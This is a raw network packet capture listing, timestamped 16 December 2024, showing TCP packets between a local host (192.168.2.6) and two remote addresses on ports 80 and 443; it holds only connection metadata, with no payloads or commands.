Dec 16, 2024 15:02:20.470030069 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.470128059 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.470773935 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.470863104 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.470927000 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.471009970 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.471539021 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.471646070 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.471683025 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.471739054 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.472399950 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.472469091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.472508907 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.472554922 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.473297119 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.473401070 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.473434925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.473452091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.474240065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.474298954 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.474360943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.475131035 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.475214958 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.475274086 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.475955009 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.476027966 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.476066113 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.476152897 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.476908922 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.476967096 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.477046013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.477159023 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.477761984 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.477847099 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.477905035 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.478732109 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.478802919 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.507153988 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.510684013 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.510745049 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.510767937 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.510785103 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.510829926 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.511106014 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.511123896 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.511137962 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.511145115 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.599246979 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.599299908 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.599448919 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.599633932 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.599674940 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.599767923 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.599824905 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.600507975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.600521088 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.600599051 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.601434946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.601566076 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.601608038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.602180004 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.602261066 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.602289915 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.602427006 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.603174925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.603215933 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.603236914 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.603276968 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.604060888 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.604114056 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.604155064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.604233980 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.604923010 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.604968071 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.605027914 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.605113029 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.605815887 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.605856895 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.605926037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.606012106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.606739998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.606812000 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.606863022 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.607637882 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.607687950 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.607713938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.607877970 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.608527899 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.608635902 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.608652115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.608753920 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.609374046 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.609414101 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.609621048 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.610306978 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.610402107 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.610408068 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.610595942 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.611366987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.611432076 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.611453056 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.611557961 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.612332106 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.612421036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.612479925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.612479925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.613060951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.613110065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.613141060 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.613210917 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.613961935 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.614057064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.614105940 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.614784002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.614845037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.614847898 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.614996910 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.615657091 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.615709066 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.615720987 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.615796089 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.616512060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.616616011 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.616691113 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.616815090 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.617423058 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.617469072 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.617499113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.617628098 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.618297100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.618386984 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.618931055 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.619132996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.619172096 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.619554043 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.619653940 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.620228052 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.620307922 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.620953083 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.620975018 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.621000051 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.621072054 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.621072054 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.621860027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.622020960 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.622055054 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.622119904 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.622725010 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.622968912 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.623445034 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.623595953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.623636007 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.623886108 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.623965025 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.624542952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.624604940 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.624692917 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.624820948 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.625392914 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.625447035 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.626080036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.626138926 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.626322031 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.626466990 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.626527071 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.627202988 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.627276897 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.627290964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.627393961 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.628024101 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.628079891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.628088951 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.628142118 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.628963947 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.628977060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.629034996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.629034996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.629859924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.629925966 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.629937887 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.630811930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.630865097 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.630985975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.631678104 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.631748915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.631824017 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.632512093 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.632564068 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.632586002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.633251905 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.633416891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.633527040 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.633594036 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.634314060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.635232925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.635245085 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.635335922 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.635401011 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.635463953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.636058092 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.636111021 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.636677027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.636821032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.636991024 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.637037039 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.637046099 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.637121916 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.637847900 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.637965918 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.638034105 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.638740063 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.638753891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.638818026 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.638936996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.639624119 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.639715910 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.639978886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.640506029 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.640566111 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.641223907 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.641307116 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.641520977 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.641566038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.641577005 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.641716003 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.642313004 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.642359972 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.642740011 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.643027067 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.643659115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.643671989 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.643722057 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.644620895 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.644704103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.645504951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.645589113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.645658970 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.645673037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.645703077 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.645776033 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.646549940 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.646617889 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.755384922 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.755413055 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.755522966 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.755868912 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.755881071 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.794140100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.794159889 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.794171095 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.794183969 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.794198990 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.794239998 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.794248104 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.794261932 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.794403076 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.794764042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.794775963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.794883013 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.795365095 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.795388937 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.795428038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.795433044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.795461893 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.795535088 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.795691013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.795860052 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.796257019 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.796310902 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.796330929 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.796427965 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.797168016 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.797180891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.797230005 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.797230005 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.798031092 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.798120975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.798264027 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.798938036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.799021959 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.799062967 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.799137115 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.799794912 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.799868107 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.800256968 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.800340891 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.800693035 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.800779104 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.800806999 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.800858021 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.801580906 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.801632881 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.801773071 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.801867008 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.802467108 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.802573919 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.802742004 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.802834988 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.803374052 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.803436995 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.803443909 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.803497076 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.804249048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.804434061 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.804586887 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.804666996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.805171013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.805182934 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.805273056 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.806015968 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.806126118 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.806132078 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.806179047 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.806976080 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.807056904 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.807132006 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.807178020 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.808083057 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.808096886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.808162928 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.808681965 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.808758974 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.809056997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.809106112 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.809600115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.809626102 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.809655905 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.809700012 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.810431957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.810491085 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.810524940 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.810581923 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.811424971 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.811439037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.811588049 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.812210083 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.812277079 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.812303066 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.812361956 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.813354015 CET	80	49892	185.215.113.16	192.168.2.6
